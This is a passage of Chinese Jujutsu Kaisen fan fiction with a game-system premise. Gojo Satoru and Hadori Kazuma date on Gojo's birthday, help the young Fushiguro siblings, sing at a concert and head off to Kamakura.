五条悟超开心的“嗯!”了一声,跟荒生润子道谢。 在五条家里,他也能听到百八十遍的“生日快乐”,语气既有恭敬的、谦卑的, 也有谄媚的、畏缩的。 但五条悟真心实意觉得, 还是他离开五条家以后过的这个生日最开心了! “现在还早,你们可以先去附近逛一逛。” 荒生润子抬起手腕, 看了眼至少还有五个小时才开场的演唱会,笑着对他们挥了挥手,一副[小情侣就不要留在这里陪她, 快自己找地方去玩吧]的揶揄。 “………” 五条悟和羽取一真走在街上时,还忍不住对着他嘀咕。 “你有没有觉得,她看出了我们之间的关系?” 他们有这么明显吗?怎么感觉今天但凡碰见个认识他们的人,都会露出那种心照不宣似的奇怪笑容呢? “嗯?是这样吗?” 羽取一真同样歪过脑袋,声音有点轻飘飘的。 五条悟看着这位黑瞳都在发亮、连走路都好像在踩棉花似的新晋对象。 五条悟默默捂住脸。 “……好了,我这下确定我们的关系真的很明显了。” 他也不得不承认,自己内心里的那群麻雀此刻甚至还在引吭高歌呢,啾啾啾的在齐声唱《Cant Stop Fallin in Love》。 超整齐,甚至没有跑调。 毕竟他唱歌超拿手嘛,内心的麻雀更是不在话下! 羽取一真勉强压了压嘴角,好让自己的开心不要表现得太明显。 以为这辈子都再也无法见到的心上人,忽然失而复得,就这样活力满满的在他面前。 羽取一真之所以没有唱歌,那是他不会唱,不是他不想唱。 “…哈楸。” 一阵寒风吹来,五条悟抬手压住险些被吹飞的帽子,又小小打了个喷嚏。 冬日的街道相当冷清,哪怕是能晒到明媚太阳的下午,温度也并不会升高到哪里去。 两人并肩走在路上,穿着同款的黑白纯色冲锋衣,版型相当利落,衬得人极有气质,又堪称明目张胆宣告了他们的关系亲密。 遑论那远超平均水准的身高与颜值,更是令来往的零星几个路人悄悄投来视线。 羽取一真对来自陌生视线的打量相当迟钝,没有任何反应。 比起在意那些路人,他更关心五条悟刚才打出来的一个喷嚏。 “很冷吗?要不要……牵着?” 羽取一真朝五条悟伸出手,黑瞳眨巴眨巴,语气平静得就像在说一件普通小事,没有任何为这种情侣互动而感到羞涩的反应。 五条悟盯着那只手几秒,又抬头看着羽取一真。 明明在开窍前还吞吞吐吐的,连随便问一声都能把他吓到跳起来的模样。 昨晚一开窍,倒是突然就变得超懂了! 虽然街上的路人很少,但他们的特征和身形可都是超级好认哦,他戴着帽子只是给粉丝一个[他不想被打扰]的暗示信号而已,可并不代表粉丝真的认不出他们啦。 何况他自小战斗经验就十足丰富,又拥有[六眼],早就察觉到了那些自以为隐晦的目光,只是一直假装没有发现。 但现在,羽取一真在问他,要不要牵手逛街。 五条悟在心底哼哼出声。 这小子啊,莫非不知道这样做所代表的含义? 这里可是即将要开演唱会的Super Arena周边哦,如果被记者什么的拍到,他们可就要直接上新闻啦。 啊,他常刷的论坛应该也会炸成烟花吧,嗯……就像之前服务器爆炸那样? “我知道。” 大概是五条悟的反应太明显,羽取一真主动开口说道。 他伸手的动作没有变,连带黑瞳也继续淡然盯着五条悟,好似在问“那又如何?”。 “——啊呀,真是的。” 五条悟突然畅快笑了起来,发现此刻瞻前顾后的竟然是向来随心所欲的自己。 果然啊,这才是他喜欢的一真。 五条悟也伸手握住对方的那只手,十指交握。 ——干燥、柔软,带着一点滚烫的、赤诚的热度,稳定传递过来。 亦如他的心意,不可动摇。 “去哪里玩?” 五条悟开口的话语里也带着愉快的笑,看远处云层滚涌也好似一大块蓬松又柔软的棉花糖。 “琦玉啊,我记得上次就是在这里,你第一次执行晋升考核任务,我特意赶过来的哦,担心你应付不了……” 五条悟与羽取一真牵手逛街,边随意聊着脑海里突然出现的任何话题。 “原来是担心我打不过啊。” 羽取一真专注听着,间或应答两句——他的脑袋微微偏过些许,看向悟的黑瞳温润,始终透着柔和的笑意。 一切都好似回到了一周目,仅是时光被倒流,他们从青年退回了更意气风发的少年,走在同一条熟悉的街上。 此时此刻,爱意从未淡去半分。 “就是这家拉面,我之前做任务时来吃过,呜哇,不好吃,汤超咸。” 五条悟路过一家店,用牵着手的那只手肘拱了下羽取一真,示意他跟着看过去。 “老板人也不好,一不高兴就会唾沫横飞的骂人,还不准客人提意见,坚持自家的拉面可是来自祖上的百年传承,怎么可能不好吃之类的……” “那真的好坏,”羽取一真附和他,“怎么还没有倒闭?” “大概光顾的都是老爷爷老奶奶吧,喜欢口味重的。” 五条悟望着那家拉面店,用一种[超级咸到受不了]的表情吐了吐舌尖。 羽取一真被他可爱到受不了,轻轻抿了下嘴,才跟着看过去。 那间店面的招牌已经褪色泛白,一看便清楚已营业了许多年;没有经过涂油保养的木头早已腐朽变色,下半截遍布着小面积的黑斑。 旁边还竖着块木牌,写着从明治时代流传至今的匠心手艺。 光是看见这百年老店的旗号,确实会吸引不知内情的路人去品尝。 羽取一真和五条悟还没有走远,那家店却突然拉开了大门。 “走走走,你快离开这里!” 一个戴着厨师帽、系着围裙的中年人挥舞手臂,很不耐烦的将一个小女孩往外面赶。 “可是……” 扎着马尾的小女孩看起来还想说什么,但被更加粗暴的推远了几步,险些摔一跤。 “可是什么可是,你要看看你现在几岁吗,五岁?六岁?” 中年人似乎很想骂上几句,看在对方只是一个小姑娘的份上才勉强忍回去,哗啦将门一关,要她赶紧哪凉快哪呆着去。 “这个年纪就来我店里打工,我看你根本就是想让我去警署里吃炸猪排饭!” 这场声势不算浩大的闹剧,在短短两三句对话间结束了。 那位被赶出来的小女孩也并没有露出气馁或难过的表情,而是拉平身上那件刚才被扯皱的外套,往某个方向跑去。 羽取一真和五条悟的脚步都下意识放慢了,视线下意识追随着她——直到对方来到旁边的路灯下时,才发现那里还站着个小男孩,比她年龄略小一点。 “不好意思噢,让你等久啦。” 她牵起小男孩的手,语气温柔。 在他面前,仅有五岁左右的她突然又变成了一位可靠的大姐姐。 “都说过没有用了。” 下半张脸都被厚围巾埋住的小男孩声音却要更低一些,语气平静,没有任何这个年纪该有的活力。 “我想试试嘛……” 小女孩沮丧片刻,很快又振作起来,“实在不行,我们去外面捡木头回家烧吧!” 十二月份的冬天很冷,一到晚上更有跌破零度的风险,假如他们不依靠任何取暖设备过夜,很容易被冻出重感冒。 捡木头回家烧——这不就意味着他们连用电或者煤气烧开水都做不到,只能靠原始的取暖手段了吗? “……这话我实在不能当作没听见。” 五条悟抬起的脚顿时拐了个弯,带着羽取一真朝那两个小孩走去。 “你们好哦——” 他主动弯下腰,笑眯眯问明显被他吓了一跳、但看起来也更好沟通的小女孩。 “刚才见你被那家我超不喜欢的拉面店老板赶了出来——怎么啦,你也抱怨了他拉面汤头做得太咸吗?” 五条悟没有直白问他们家里情况,而是狡黠的先拐了个弯,用更诙谐的问题来打开局面。 相比面露警惕的小男孩,小女孩果然扑哧一下笑了起来。 “啊抱歉,我不是故意笑的,” 她晃了晃脑后的马尾辫,仰头时看向五条悟时,眼睛睁得大大的。 “我只是想出来打几天零工,赚点生活费啦。” 五条悟“咦”了一声:“你这个年纪还太小了,没办法的吧?” “是啊,可家里的钱快用光了,也不知道妈妈和叔叔什么时候回来……只要能撑到他们其中一人回来,就没问题啦!” 垮下肩膀的小女孩点头,但并不显得十分难过——这样的日子,她已经过习惯了。 “他们不会回来的。” 小男孩在旁边平淡接上一句,对未来的态度更是消极。 “不会啦,妈妈上个月不就回来过一次吗?”小女孩说,“可能她有事在忙,再等两个月就会回来呢,还有叔叔也有可能……” “他更不会,我已经连他长相都忘干净了。” “惠,别这么说你爸爸啦……” 在旁边听着这对姐弟与五条悟的对话,没想到突然出现熟悉名字的羽取一真怔了下。 “惠?伏黑惠?” 第124章 要说一周目认识的, 名字里会带“惠”这个字的男生,羽取一真第一个反应就是伏黑惠。 他还当过自己的新手npc,基本的咒力常识和初次战斗都是他带着做完的。 还有上周目最关键的隐藏委托, 也是从伏黑惠身上触发到的。 要不是那个领域展开, 他会直接被[夏油杰]干掉,根本没办法在最后反杀成功,达成同归于尽的结果。 而且,伏黑惠和悟的关系似乎也很亲近,不仅早就认识,还能让悟在新年期间都直接上门叨扰。 从这种种方面而言, 羽取一真对伏黑惠的好感是很不错的——至少比那些老头要高好几倍。 毕竟,哪位玩家会讨厌一个能给自己大招的新手npc呢。 而现在是时间点更靠前的二周目, 伏黑惠还是一个小豆丁这件事也很合理。 也就是说, 这个小女孩……应该就是未来会被那个[夏油杰]诅咒的伏黑津美纪了。 “咦, 你认识惠?” 伏黑津美纪一拍手, 表情格外开心。 “是叔叔那边的熟人吗?” 她没怎么见过伏黑惠的爸爸,一直以来的称呼都是叔叔。 被叫对名字的伏黑惠则变得更警惕, 冷着脸回应。 “我不认识你。” 五条悟反而有点好奇的和羽取一真咬耳朵:“你怎么认识他的?” 倒是这一大一小两张如出一辙的酷哥脸,看上去莫名还挺像亲戚…… 羽取一真有点卡住:“……” 这有点难回答,因为他其实是在一周目认识的——但这个答案又没办法直接说出口。 他想了想,也歪过脑袋对五条悟回道:“在未来认识的。” 这下轮到五条悟“……”了。 哪有[在未来认识]这一说法, 搭讪也只会用[我们好像在以前见过]这种吧……! 但五条悟又笃信羽取一真绝对不会骗他。 话说, 这小子以前是不是也语气特别坚定的说过[28岁的他已经学会反转术式]之类的话? 五条悟沉思片刻,觉得这很可能不是巧合。 他曾经查过羽取一真的术式, [十方摩诃]里的[十方]所表达的方位是极暧昧的,特别是最后四个方位,在不同的古籍里有不同的说法。 ——生门、死位、过去与未来。 通常而言, 术师一般在4~6岁就会觉醒生得术式,摸索着逐渐掌握用法。 但羽取一真却直到16岁进入高专也不会用,这本身就是极不寻常的现象。 莫非,他其实曾经无意识发动过类似于“预知”的术式? 五条悟不太确定,但此刻,他相信羽取一真确实认识,或者说,单方面认识眼前这只幼崽。 至于那些关于术式的细节,以后再慢慢研究也不迟。 “另一个人呢,你认识吗?” 注意力重新回到这两只幼崽身上,五条悟继续压低声音问羽取一真,用眼神指了下正好奇望着他们咬耳朵的伏黑津美纪。 “伏黑津美纪,”羽取一真自然能答得上来,“我记得是惠的继姐。” “这样啊……那他们的双亲呢?” “不认识。” 短暂的交流过后,五条悟轻轻点头示意自己大概知道了情况,目光重新落回伏黑惠和伏黑津美纪的身上。 “我问过这位不善言辞又内向但人特别好的哥哥啦,他说他其实是你爸爸那边的熟人的儿子啦,但有点不知道该怎么描述自己的身份!” 五条悟松开跟羽取一真牵着的手,改为环着人脖颈——而后一开口,就是信誓旦旦的胡诌。 羽取·不善言辞·内向·人特别好·一真,默默点了下脑袋。 “……嗯。” 没一句是对的,但悟说是,那就是。 “这样啊!” 伏黑津美纪很高兴,“那,这位哥哥可以联系到惠的爸爸吗?我是说,毕竟惠的生日也快到了……” “津美纪。” 伏黑惠喊了声她的名字,表情淡漠,根本没有对那个[父亲]产生哪怕丝毫的在意。 “我不在乎他现在又去哪里快活,反正连脸都已经记不清了。就算他回来,我也不会觉得有多高兴。” 伏黑津美纪:“惠……” 但伏黑惠没有去看面露担忧的伏黑津美纪,转头对五条悟和羽取一真开口道。 “我也没有兴趣听那家伙的事情。如果只是为了聊这些才特意过来,那么抱歉,我们现在要走了。” 伏黑惠迈动小短腿,正要拉着伏黑津美纪离开,却被五条悟伸腿一挡,轻而易举的拦下了。 “哎呀,别急着走啦。” 五条悟歪了歪脑袋,露出一个狡黠的超可爱笑脸。 “我刚才不小心听到了你们的对话,是在生活上有困难吗?我可以想办法帮你们找到一份工作哦。” 伏黑津美纪顿时眼睛一亮:“真的吗,那我……” “等等,”伏黑惠拉住她,“都说过我们才多大,怎么可能有可以做的工作?” “是啊,你现在才四岁?五岁?” 五条悟笑着用指尖勾住墨镜,往下拉了些许,露出那点极特别的漂亮雾蓝来。 “但你有那份天赋,我能看见。”——他意有所指,“你啊,刚才看向了那家店的招牌背后吧?那里刚刚爬过去一只坏东西呢。” 听到这句话的羽取一真同样重新往那边看过去,才发现一只咒灵沿着房顶与墙壁的外侧,飞快地爬走了。 游戏甚至还意思意思弹出个窗口,问他要不要去刷那只四级壁虎咒灵。 被早就看不上四级经验包的羽取一真随手就关掉了。 “你……” 伏黑惠怔了下,才发现他能看见津美纪却看不见的东西,这两个人也看得见——他们是同样的特殊。 “虽然你的年纪确实有点小,但我们那边人手更是不足啊,可以提前给你介绍一份兼职。” 五条悟掏出手机,划到其中一个号码。 “你只需要在有空的时候到附近各处转转,上报自己的发现就可以了。工资虽然不高,但肯定可以满足你们的生活所需。” 伏黑津美纪惊讶眨了下眼睛——虽然其中有些话听得不是很明白,但大体上她还是能理解五条悟的意思。 “就这么简单吗?听起来像巡逻……” “哈哈是哦,就像小警察在巡逻一样,是一份还不错的兼职哦。” 五条悟冲伏黑津美纪挤挤眼,并没有好似施舍般给他们一大笔钱钱,也没有强硬的将现在的伏黑惠拉入咒术界那侧。 而是问伏黑惠要不要做个兼职,成为帮忙监控咒灵活动的[窗]。 这是一份只需要[能看见咒灵]就足够的工作,发现咒灵也不需要接近,直接上报给高专就可以。 在工作性质上没什么危险,还能让伏黑惠提前从其他[窗]和辅助监督那里了解咒力与咒灵相关的知识,不至于为自己天赋的特殊感到慌乱或迷惘。 毕竟,这两只幼崽的双亲听起来实在不怎么靠谱,家里也没有人教他该如何应对。 五条悟弯下腰,竖起手掌在唇边,稍微避开仅是普通人的伏黑津美纪,小声对伏黑惠说道。 “既不需要你动手,也不再需要津美纪再苦恼生活费的问题。如何,很轻松吧?等再过个一、两年,你会有概率觉醒术式——等到那时候,我会再告诉你更多事情的。” “能看见[咒灵]是一种天赋,但也是一种危险的讯号哦。你必须要提前掌握一些情报才行。” 伏黑惠盯着五条悟许久,似乎真的在认真衡量过利弊后,才谨慎点了下脑袋。 他确实对这两个陌生人仍旧警惕,但与此同时,他也清楚自己不能对那些奇怪的东西始终一无所知。 再加上没有双亲可以依赖的情况下,伏黑惠与伏黑津美纪都相当早熟,不得不提前考虑更现实的问题,学着自己养活自己。 “我应该联系谁?” “哼哼,先把你们的电话号码给我,到时候就会有人来联系你们啦。” 拿到他们家里电话的五条悟,笑眯眯挨个揉了揉这两只幼崽的脑袋,看着他们走远。 伏黑津美纪看起来开心极了,一直晃着伏黑惠的手臂;后者始终冷着表情,但也没有拒绝。 而五条悟,当然是——打电话给夜蛾老师。 等五条悟叽里呱啦讲完情况后,电话对面当即传来一句超大声的“哈!?”,漏音严重到羽取一真都清晰可闻。 五条悟声音放软,熟练的开始拖着长腔耍赖兼撒娇。 “帮帮忙啦,夜蛾老师,你总不会忍心看着他们冻死或者饿死吧?” 夜蛾正道:“………” 第125章 最后, 夜蛾正道还是答应会找人安排。 如五条悟所说,咒术界的人手一直都严重不足,不仅能坚持下来的非家系术师极其稀少, 辅助监督和[窗]也总是不得不超负荷工作。 能挖掘到的每一个术师幼苗, 都是值得慎重对待的。 哪怕伏黑惠过两年没有觉醒术式,光凭[能看见诅咒]的这份天赋,也能帮上不少忙。 “话说你小子不是去唱歌吗,真是突然给我来一记惊吓……” 夜蛾正道刚想抱怨两句,就听见对面传来一长串的“哇哦夜蛾老师真是好人我就知道你一定会答应的我还和一真有约会就不耽误老师时间了回去再细说哦拜拜——” 然后啪嗒一声,电话被挂断了。 夜蛾正道:“……” 额角默默爆出一根青筋。 这臭小子, 给他添完麻烦就拍屁股溜了! ……罢了,能提前找到才四岁左右的非家系术师也是件大功劳, 这种时候的幼苗最容易折损在各种不自知又无自保能力的咒灵意外里。 夜蛾正道翻了翻记录, 开始联系在琦玉那边的辅助监督, 让他们帮忙安排伏黑惠的引导及兼职事宜。 交代完后挂断电话, 夜蛾正道还在琢磨。 要是伏黑惠能觉醒厉害些的生得术式就好了,这意味着他作为术师的上限会很高——咒术师实在是太缺人手了。 不过现在想这些也没用, 哪怕有厉害的术式,也不意味着他们能作为咒术师坚持下来,中途转行不干或者直接叛逃当诅咒师的人也不少。 等悟和一真回来的话,还得问问……慢着? 想着想着, 夜蛾正道突然发现有哪里不对劲。 刚才五条悟挂掉电话前说什么来着, 他和一真还有约会??? 约会!?? ——不提独自留在高专的夜蛾正道大脑正在疯狂思考,五条悟啪叽一下合上手机, 整个人都洋溢着加倍的开心。 他将手机放回口袋里,主动牵上了羽取一真的手。 “好啦,这下我们就可以专心逛了!” 羽取一真也眯起黑瞳, 反握紧悟的五指。 “嗯。” 他打开昨晚解锁的【结婚】界面,毫不意外的看见一条硬性要求。 【玩家及目标需年满18岁,才可发起求婚申请。】 嘁……可恶。 在这条仅有他们在漫步闲逛的街道上,五条悟也问出了刚才当着伏黑惠和伏黑津美纪的面不好细究的问题。 “话说回来啊,你刚才和我讲的那个[未来],是自己能主动控制的?还是被动?” 他还是更倾向于这是羽取一真所拥有的生得术式效果之一,只是他本人还不能熟练运用。 话虽如此,光是之前表现出来的顺转用法就已经相当实用了,能克制那类持续效果型的术式呢。 五条悟还特意思考过该如何应付羽取一真的这招——嗯,可以在他还没来得及发动术式前,率先使用高功率输出的大招。 毕竟一真那招的攻击前摇还挺长的,而且据本人解释,还需要搭配[业双]使用才行。 因此,五条悟琢磨着假如一真能再开发出关于[未来]这方面的术式效果,应该可以再将实力往上提一个档次。 虽然羽取一真没有透露过自己在高专以外的生活环境,但结合之前那些他在下意识反应所体现出的细节,五条悟还是有些担心。 但对于羽取一真而言,这个问题相当微妙——关键在于游戏不让他实话实说。 大体而言,既然他已经回不去一周目,那应该算是被动的吧。 “是来高专前的被动效果,现在已经没办法做到了。” 羽取一真微微摇头。 “嗯……这样啊。” 五条悟对此感到遗憾,但很快就接受了。 实在不行还有他呢,总归不会让这只黑豆柴受委屈的! “那我还有点比较好奇的地方……刚才那个小鬼,就是叫伏黑惠的那个。你清不清楚未来的他会觉醒什么术式?” 羽取一真:“这个知道,我记得是【十种影法术】。” 还是一周目悟告诉他的术式名字。 五条悟的脚步猛然一顿,转向对方的苍瞳瞪得溜圆:“啊?” 羽取一真被连带拉得身体一歪:“?” 五条悟:“……” 见鬼了,那是禅院家的祖传术式喂…!! ………… 赶在演唱会开始前,羽取一真和五条悟回到了Super Arena。 他们是从员工通道走的,正式入口那边已经排了太长的队伍,到处都是举着灯牌与应援棒的观众,在热情讨论着什么。 太多声音交叠在一处,好似化作了接连不断绽放的烟火,倒映着那无数张太过兴奋与期待的笑脸。 哪怕是这么冷的天,他们也愿意买票赶来,只为了听自己喜欢的歌手在台上演唱。 再凛冽的寒风也不觉得冷。 五条悟站在通道入口,远远朝那边看了片刻。 他还试图找一下夏油杰和家入硝子,但这么多人聚在一起,藏在墨镜后的[六眼]都快超负荷工作了,实在不可能精准找到那两人。 荒生润子没有提前放出他们要参加的预告,大概是想给观众一个惊喜。 “你们回来了,看起来玩得还不错?” 从员工通道一路来到后台的休息室,正在做最后准备的荒生润子立刻拉着他们,转头交代自家助理。 “先给他们试试话筒,然后带去化个妆……” “不化不化不化!” 五条悟立刻把脑袋摇成拨浪鼓。 “这么决绝?” 荒生润子认真端详他片刻,从善如流改口。 “不化也行,那你们去换身衣服——这个可是必须要换的哦,总不能穿着身冲锋衣就上台吧?” 换衣服没问题,五条悟点头,然后和羽取一真一起被拉去换衣间,换了身超级闪亮的舞台服。 脖颈、腰间和手腕,到处都是一动就叮当作响的银饰,五条悟感觉自己连走路都颇有些束手束脚。 外面的工作人员还在忙碌,跑动和喊话的动静都很大。 相比之下,员工休息室要安静许多,只有他们各自坐在一张椅子上。 更远处的观众席就几乎听不见声音了,但仍能感受到那股隐约的喧闹氛围,热闹的,期盼的,眼中满溢着一切美好又真诚的情感。 而他们,正在等着上台。 五条悟拨弄了下坠在腕间的那条小鱼银饰,开口。 “我忽然感觉有点紧张。” 听到这句话时,同样换了身衣服的羽取一真正拿着那张写满了歌词的纸反复背诵,轮到自己的部分再哼出几句。 整副架势看上去很游刃有余,但当那双黑瞳朝五条悟望过去时,轻易都能分辨出其中紧张兮兮的情绪。 “我也是。” 羽取一真默默出声。 他可从来没有在数万人面前唱歌的经历啊。 而且这跟一开始做好的心理准备,或者说想象里的场景完全不同。 真正身处在这个被气氛包裹的环境里,跟想象自己站在台上面对所有目光——是完全不同的两种概念。 他在这时候背歌词,只是让自己有点事情做,不要太过紧张而已。 “哎呀……没什么大不了的。” 见到羽取一真连坐姿都是肉眼可见的紧绷,五条悟忍俊不禁,反而语气轻快的开始安慰起他来。 “这是润子姐姐的演唱会,又不是我们的啦,放轻松放轻松,我们只是中途暖场,唱完一首就立刻下台——嗯,我想想,类似于转场音乐或者插播广告那样的存在吧?” 五条悟索性将椅子拖到羽取一真身边,环过他肩头拍了拍。 羽取一真有点想笑。 “不会的。” 他偏过脑袋,那双黑瞳认真注视着五条悟。 “你一定会万众瞩目,而世界……” “都在高声欢呼你的名字。” ——五条悟。五条悟。五条悟。 ——五条悟!五条悟!五条悟! 当升降台被操纵,五条悟与羽取一真逐渐出现在舞台中心、站在聚光灯之下的那刻,全场随即沸腾起来。 荒生润子正在笑语晏晏的为粉丝介绍他们,但这其实只是走个过场。 如层叠花瓣般簇拥着中心舞台的观众席,已经挥舞起了手里的应援棒,宛若一波接一波翻涌卷起的浪潮。 在这一刻,五条悟的名字响彻整个灯光辉煌的夜空。 “悟(Satoru)!悟(Satoru)!悟(Satoru)!生日快乐(happy birthday),悟(Satoru)!” 整齐的高喊仅剩下亲昵的名,是五条悟正在被整个世界喜爱着的证明。 或许其中也有在喊羽取一真的名字,但羽取一真并不在意。 他更喜欢看着站在聚光灯下的悟,看着他被掌声、被灯光、被无数亮起纯白与天蓝色的应援棒欢呼着,簇拥着,在万众瞩目下变得闪闪发光。 站在舞台上的五条悟没有说话,那双倒映着晴空与苍鹭的雾蓝眼瞳,此刻睁开在星夜的穹顶之下,望着这场为他而起的浩荡声势。 这是再多销量也比不上的,将无数粉丝的满腔情感具现化的、万分真切的喜欢与爱。 哪怕仅出现在这舞台上的片刻,五条悟也再清晰不过的接收到了。 这是荒生润子送给他的生日礼物。 他好像有点明白,为什么像荒生润子这般已经成名许久的歌手,哪怕开演唱会再累再辛苦,也会坚持站在这里。 ——亦如他,同样从未想过做咒术师以外的工作。 在《FIND》的前奏响起那刻,五条悟轻声笑起来。 他摘下了墨镜,彻底露出的那双苍瞳明亮又愉快,好似璀璨绚烂的无价珍宝。 “嗨嗨大家晚上好,我就是你们的五条悟哦——” 第126章 当羽取一真和五条悟再唱起《FIND》时, 心境早已与之前截然不同了。 在那狂风骤雨般的副歌旋律中响起的,是羽取一真愈发坚定而清晰的回应——他们已经找到了彼此。 “I will put together the shattered golden core——” 他会拼起那颗支离破碎的、黄金般的心。 纵使悟无法恢复一周目的记忆也没关系。 纵使悟已经不记得一周目的那些过往也没关系。 他还记得以后的悟会被排挤、被敌视、被忌惮,却仍笑着, 轻描淡写说没办法啦的经历。 他会改变那些还没有发生的未来, 会拼起那颗没人在乎过的、支离破碎的、黄金般的心。 直到最终的一切都尘埃落定之后—— “No longer broken……like before。” (不再破碎……就像最初那样。) 随着最后一句歌词被羽取一真轻而低缓地唱出,这场仅持续五分钟的大明星之旅,彻底落下了帷幕。 【当前隐藏委托:荒生润子的邀约,已完成。】 【奖励:获得咒具[八相轮卡]。】 “好晕好晕,我脑袋已经歇菜了……” 保持着超自信又帅气的意气风发笑容直到离开舞台,五条悟立刻往羽取一真肩膀上一靠, 含含糊糊抱怨着,连眼睛都睁不开了。 “怎么了??” 羽取一真赶紧撑住他的身体, 顺手接过悟递过来的话筒, 连带自己的都一并交给旁边的工作人员, 始终看着五条悟的表情比上台前还要显得紧张许多。 旁边的工作人员也连忙递过来一瓶水, 抬手按在对讲机上,随时准备呼叫担架来抬。 “是紧张到出现肢体化了吗, 还是灯光太刺眼?要不要喊救护车?” 这种大规模的演唱会,为了防止演唱会出现意外,都会事先安排好几辆救护车在场外等着。 “没事没事,只是我第一次来这种大型演唱会啦, 唱完感觉头晕脚软的。” 五条悟强撑着安抚工作人员, 又用手肘拱着羽取一真,示意他快点带自己离开啦。 羽取一真心领神会, 半扶半抱着带五条悟去休息室,让他在那张不算长的沙发上躺好。 “……呼。” 过了半晌,五条悟才从那种蔫巴巴的状态恢复过来。 “我刚才一激动, 把墨镜摘了,以为没什么大事。” 他歪过脑袋,用一种[唉我也没想到啊]的语气幽幽解释道。 “结果你也知道啊,我的[六眼]是被动开启的,再加上普通人身体里也有咒力……要命了,我刚才的视野里密密麻麻全是咒力,自动分析出的垃圾情报就像开闸的洪水一样不停倒灌进我的脑海里……” 他能坚持到唱完歌才放任大脑宕机,已经很厉害了。 不如说,他能凭借着身体的肌肉记忆,全程不跑调地唱完这首歌,也可以称得上是超级厉害啦…! 偏偏墨镜是他自己摘的,唱到一半又再戴回去实在显得很逊。 呼。 唱歌不易,小悟叹气。 “毕竟悟也是第一次被几万人注视着,没有应对的经验。” 羽取一真将椅子拉近了些,微凉的指尖将刘海拨开,以便整个掌心都能紧贴对方的额头。 “现在好些了吗?” 五条悟被那温度包围着,缓慢闭上苍瞳片刻,又笑着睁开,冲他眨了个单眼wink。 “活力满满!” 羽取一真也跟着微笑起来——在这一瞬间,他忽然很想亲吻他。 于是他便俯下身,真的这么做了。 五条悟睁大些许苍瞳,却仅是伸出手,并没有拒绝。 他们亲昵拥抱着,在这个仅有他们二人存在于此的小小宇宙里。 ………… 那场盛大的五条悟生日庆祝会过后,生活再度恢复平静。 羽取一真和五条悟还是需要每天上课、巡视、祓除咒灵,做一个不那么普通的咒术高专学生兼咒术师。 相比之前也有一些区别,例如在不那么忙的时候,他们会跑去人不那么多的地方约会。 哪怕带着糖果与蛋糕坐在河边钓一下午的鱼,也依然格外高兴。 夏油杰和家入硝子,时常会对着这两人露出升了级的[超没眼看]的表情;但他们有时却会特意揽过一些任务,好让这两人的休息时间能对上。 至于唱完那场演唱会的奖励——[八相轮卡],羽取一真却没办法试验它的效果。 因为这是一张辅助性质的卡牌,并不能用来战斗。 大概是与战斗及主线都无关的隐藏委托吧,它的功能也相当鸡肋。 【[八相轮卡]:消耗一定咒力,可将被释术者的外貌模拟为玩家镶嵌于卡牌上的八相之一。消耗的咒力量决定改变时间的长短。】 【请注意,玩家选择的八相一旦固定,不可再进行更改。】 【请注意,外貌模拟并不会改变被释术者的攻击技能及属性。】 看这描述,大概就是一张可以切换身份的外貌转变卡,没有任何战斗属性加成。 羽取一真来回翻转手腕打量,确定了这张边缘勾勒繁复花纹、中央是空白人物剪影的卡牌再没有更多效果之后,便先将它收回了物品栏。 甚至连外貌模拟都只有八个卡槽能塞,他还得慎重点选择。 难怪是当“半个歌手”的奖励,跟[业双]这类超好用的战斗咒具相比,简直半点杀伤力都没有。 等过了段时间,五条悟还特意问了下夜蛾正道关于伏黑惠的情况。 本来是举手之劳就足够的,但现在得知了这幼崽极大可能与禅院家有血缘关系,那真是令他不想在意也不行了。 [十种影法术],这可是目前整个禅院家都没有人继承到的祖传术式呢! 如今禅院家的现任家主,包括那个鼻子翘上天的禅院直哉,觉醒的也不过是近代时期才产生的[投射咒法],而非与[无下限]术式同样流传数百年的[十种影法术]。 或许[投射咒法]同样很强,但跟能与[六眼]+[无下限]对抗的[十种影法术]比较,仍旧是云泥之别。 但五条悟又不好安排人去查,甚至不能透露出伏黑惠未来会觉醒的术式。 虽然姐弟目前的生活不太容易,但伏黑惠要是被禅院家接回去,身为普通人的伏黑津美纪百分之百会被独自留在咒术界之外,彻底失去最后一个亲人。 五条悟觉得,这大概也不会是伏黑惠想看见的结果。 因此,这件事五条悟谁也没告诉——甚至叮嘱了羽取一真也别说出去——只是表现出了普通的、对他捡到的术师幼崽的关心。 “是那个叫伏黑惠的孩子吗,我已经让性格更稳重的古井去接触他了。” 夜蛾正道揉了揉额角,感觉自己的寿命都会被眼前这小子折腾得短上三年。 “你下次想帮助他们,至少先提前给我打个招呼!这可是四五岁的小孩,连小学一年级都还没念……真是的,想让他兼职[窗]都不好办,幸亏本人比预计中还要早熟得多。” “还有你那后续追加的破要求,什么不能让高专其他人知道,要只跟对方在私底下达成协议……你怎么不干脆让我直接从自己的腰包里掏钱付他薪水算了。” 要不是看他们确实生活有困难,夜蛾正道都想拒绝这种荒唐的附加条件了。 用以后为高专工作做担保,先安排几年资金援助不是更快吗。 夜蛾正道之前想了下这个方案,还是叹息着否决了——他心里清楚五条悟坚持让伏黑惠做兼职背后的意思。 不能因眼前的困苦,从而借机提前绑架那孩子今后的人生。 “哇,所以夜蛾老师办到了对不对?好厉害好厉害!” 五条悟的表情亮晶晶,用布灵布灵眨巴的苍瞳与一箩筐的好话,来恭维好好忙碌了一通的夜蛾老师。 夜蛾正道:“说到这个我想起来了……你小子,还是先来解释下[你和一真约会]是什么意思如何。” 发现自己当时在电话里说漏嘴的五条悟沉默片刻。 “欸——我和一真要赶着坐新干线去镰仓过新年哦,没有空跟夜蛾老师解释——” 夜蛾正道:“……不准给我顾左右而言他!” 让硝子和杰他们知道自己和一真的关系,跟让夜蛾老师知道他们的关系,那可是完全不同的两个概念…! 五条悟一个激灵,拉起羽取一真就跑。 “现在就要出发啦,拜拜——” 羽取一真跟着跑,喉间漏出点低声的笑。 身后的夜蛾正道还在气得挥拳头。 “给我回来!喂!” 那他们可不会停哦,五条悟笑眯眯转过脑袋,冲夜蛾老师做了个狡黠的鬼脸。 ——毕竟,他们是真的马上就要出发去镰仓啦。 第127章 在这个新年假期, 五条悟既没有回五条家,也没有留在高专学校,而是和羽取一真踏上了前往镰仓的列车。 位于神奈川的镰仓, 这是羽取一真之前跟夏油杰搭档前往镰仓做任务时, 和五条悟做下的约定。 他们会再来这座温暖的海滨城市,坐倒挂列车、打沙滩排球、捡贝壳、去神社祈福,一起体验更多有趣的经历。 窗台上那排细腻又精致的瓷猫猫,也是羽取一真从镰仓带回来给他的呢。 五条悟这么想着,心情超级好的戴上帽子,又从边缘翘出来的碎发往里面掖了掖, 再调整好帽檐的角度。 一切准备就绪,五条悟最后戴上墨镜, 对着能倒影出人影的玻璃窗露出一个自信笑容。 哼哼, 